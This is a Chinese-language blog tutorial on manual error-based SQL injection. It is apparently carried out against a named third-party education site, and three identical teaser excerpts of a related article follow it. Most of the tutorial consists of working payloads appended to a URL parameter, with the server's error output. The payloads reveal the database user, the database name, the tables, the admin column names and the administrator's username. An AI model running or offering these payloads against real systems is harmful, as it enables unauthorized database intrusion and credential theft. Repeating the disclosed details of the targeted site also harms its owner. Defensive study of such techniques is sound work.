插入式 注入技巧

2021-12-29 22:11:49 字數 2346 閱讀 4718

例:

試著在newsid=3255後面插入「」,結果報錯。   

「microsoft ole db provider for sql server 錯誤 80040e14

字串 之前有未閉合的引號。   

明顯存在注入漏洞,還是sql資料庫  

無法動用工具查。 這點寫工具的人,貌似很容易新增這個功能。  

分析了一下

上面這類**的asp?後面跟有多項資料,各項資料型別也不完全相同,有的是數字型,有的則是字元型等,混合在一起。

比如:www.yyy.org/readnews.asp?newsid=7235&bigclassname1=新聞中心&bigclassname=教育資訊&smallclassname=教育新聞

用手工注入吧。先看看許可權如何?在中間插入注入語句:

newsid=3255 and and user>0

提交後暴出了如下提示

將 nvarchar 值 web113483 轉換為資料型別為 int 的列時發生語法錯誤。意思是當前使用者的名字是「web113483」,看來只是乙個普通許可權的使用者db_owner。

如果暴出的是「將「dbo」轉換成int的列發生錯誤」,則表示當前資料庫使用者是sa,那許可權就相當大了

mssql資料庫的好處就是,不用乙個個的猜,可以直接暴出你想要的東東,這裡正好複習一下sql注入的相關語句。

下面就是來暴出資料庫了。在newsid=3255後面插入「and db_name()>0」,提交後得到如下結果:

microsoft ole db provider for sql server 錯誤 80040e07

將 nvarchar 值 www_hljedu_net 轉換為資料型別為 int 的列時發生語法錯誤。

/gaokao/readnews.asp,行13

呵呵,資料庫是www_hljedu_net,要是猜夠你猜的了。

接下來當然是暴表了:

在在newsid=3255後面插入

「and (select top 1 name from www_hljedu_net.dbo.sysobjects where xtype=u and status>0)>0」

得到如下結果:

將 nvarchar 值 review 轉換為資料型別為 int 的列時發生語法錯誤。

這樣就暴出了第乙個表:review。

接下來插入

「and (select top 1 name from www_hljedu_net.dbo.sysobjects where xtype=u and status>0 and name not in(review))>0」

就得到了第二個表「admin」:

將 nvarchar 值 admin 轉換為資料型別為 int 的列時發生語法錯誤。

依次將得到的表名加入

name not in(review,admin)中,可以得到所有的表,當然我們的目標是找管理員,找到了admin就夠了。

其實還有一種猜的辦法,插入

「and (selec count(*) from admin)>0」

正常返回表示有admin,表。同access猜表一樣。這樣就不用乙個個暴表。

但猜不中時就得暴表了。

下面我就用猜的辦法試試,

插入:and (select count(username) from admin)>0 結果提示出錯:「列名 username 無效。

」看來猜並不好猜,所以能暴當然要暴了。

插入語句

「and (select top 1 col_name(object_id(admin),1) from admin)>0」,提交後,暴出第乙個欄位名為「id」。

然後將括號中的1換成2,插入語句

「and (select top 1 col_name(object_id(admin),2) from admin)>0」,提交後得到如下結果:

將 nvarchar 值 adminuid 轉換為資料型別為 int 的列時發生語法錯誤。

同樣也得到「adminpwd」。

如果前面表名欄位名因常見可以猜的話,現在要猜使用者名稱和密碼就要難得多。

因為沒有通用的。所以能用暴值法那是一定要用的。

先猜使用者名稱:

插入注入語句:

and (select top 1 adminuid from admin)>0,

提交後輕易就暴出了管理員的名字:hljedu。

將 nvarchar 值 hljedu 轉換為資料型別為 int 的列時發生語法錯誤。

將上面語句中的adminuid換成adminpwd,變成

and (select top 1 adminpwd from admin)>0,

到此,我們的所有的猜解工作完成了

跨站式SQL注入技巧

學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看sql注入的一般步驟 第一節 sql注入的一般步驟 首先,判斷環境,尋找注入點,判斷資料庫型別,這在入門篇已經講過了。其次,根據注入引數型別,在腦海中重構sql語句的原貌,按引數型別主要分為下面三種 a id 49 這類注入的引數是數字型,sql...

跨站式SQL注入技巧

學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看sql注入的一般步驟 第一節 sql注入的一般步驟 首先,判斷環境,尋找注入點,判斷資料庫型別,這在入門篇已經講過了。其次,根據注入引數型別,在腦海中重構sql語句的原貌,按引數型別主要分為下面三種 a id 49 這類注入的引數是數字型,sql...

跨站式SQL注入技巧

學習如何從資料庫中獲取想要獲得的內容,首先,我們先看看sql注入的一般步驟 第一節 sql注入的一般步驟 首先,判斷環境,尋找注入點,判斷資料庫型別,這在入門篇已經講過了。其次,根據注入引數型別,在腦海中重構sql語句的原貌,按引數型別主要分為下面三種 a id 49 這類注入的引數是數字型,sql...